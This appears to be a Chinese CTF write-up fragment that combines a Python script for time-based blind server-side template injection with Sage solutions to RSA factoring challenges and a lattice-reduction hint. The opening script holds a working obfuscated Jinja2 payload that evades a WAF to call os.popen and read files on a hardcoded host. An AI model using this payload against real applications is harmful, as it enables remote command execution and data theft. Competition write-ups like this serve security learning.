绕过waf+时间盲注:
import requests
import time
def blind_injection_payload(guessed_char):
url = "<http://47.95.3.252:22626/>"
payload = (
"{%set gl='_'*2+'globals'+'_'*2%}"
"{%set bu='_'*2+'builtins'+'_'*2%}"
"{%set im='_'*2+'i''mport'+'_'*2%}"
"{%set as='so'[::-1]%}"
"{{ g.pop[gl][bu][im](as)['p''open']('cat /flag | grep \\""
+ guessed_char +
"\\" && sleep 5').read() }}"
)
response = requests.post(url, data={'code': payload})
return response.elapsed.total_seconds()
def get_flag():
guessed_char = "flag{"
position = len(guessed_char)
while True:
for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-":
delay = blind_injection_payload(guessed_char + char)
print(f"尝试读取位置 {position} 的字符: {char}")
if delay > 4:
guessed_char += char
print(f"已找到 flag 的一部分: {guessed_char}")
break
position += 1
if position > 100:
print("未能找到完整的 flag.")
break
print("最终猜测的 flag:", guessed_char)
get_flag()
第一部分:x1与x2很小,可以穷举,对于每个可能的(x1,x2)对,验证是否有
$$ q=\operatorname{gcd}((\text{hint1}+\texttt{0x114})\cdot x_2 - (\text{hint2}+\texttt{0x514})\cdot x_1, n)\in(1,n) $$
即可分解出q。
第二部分:我们知道,n-p-q=\varphi(n)-1,故
$x^{n-p-q}\equiv x^{\varphi(n)-1}\equiv x^{-1}\equiv \text{hint} \pmod{n},\quad x=514p-114q$
由于[$514p-114q\in 0,n)$,$\text{hint}^{-1}\bmod{n}=514p-114q$。
在整数环上联立方程
$$ \begin{cases} 514p-114q &= \text{hint}^{-1} \bmod{n}\\ pq&=n \end{cases} $$
即可分解n。
#sage
from rich.progress import track
from Crypto.Util.number import *
n,c,hint1,hint2=
for x1 in track(range(2**11)):
for x2 in range(2**11):
if n > gcd((hint1+0x114)*x2 - (hint2+0x514)*x1, n) > 1:
q = gcd((hint1+0x114)*x2 - (hint2+0x514)*x1, n)
assert n % q == 0
p = n // q
print(long_to_bytes(pow(int(c),pow(int(0x10001),-1,int((p-1)*(q-1))),int(n))))
n,c,hint =
P.<p,q> = ZZ[]
print(factor(P.ideal(514*p-114*q-pow(hint,-1,n), p*q-n).groebner_basis()[1]))
q =
p = n//q
print(long_to_bytes(pow(int(c),pow(int(0x10001),-1,int((p-1)*(q-1))),int(n))))
已知$x,y,\ 256> y\ge 0,\ x>0$,那么 $\left\vert (x\oplus y)-x \right\vert < 256$,也即哈希函数中的异或可以用加法来替代,并且差量操作数很小。据此我们可以将其转换为一个线性的操作:
其中$\widetilde{m}_i$都是作为未知数的小量,通过格基约化可以求出一组符合要求的解。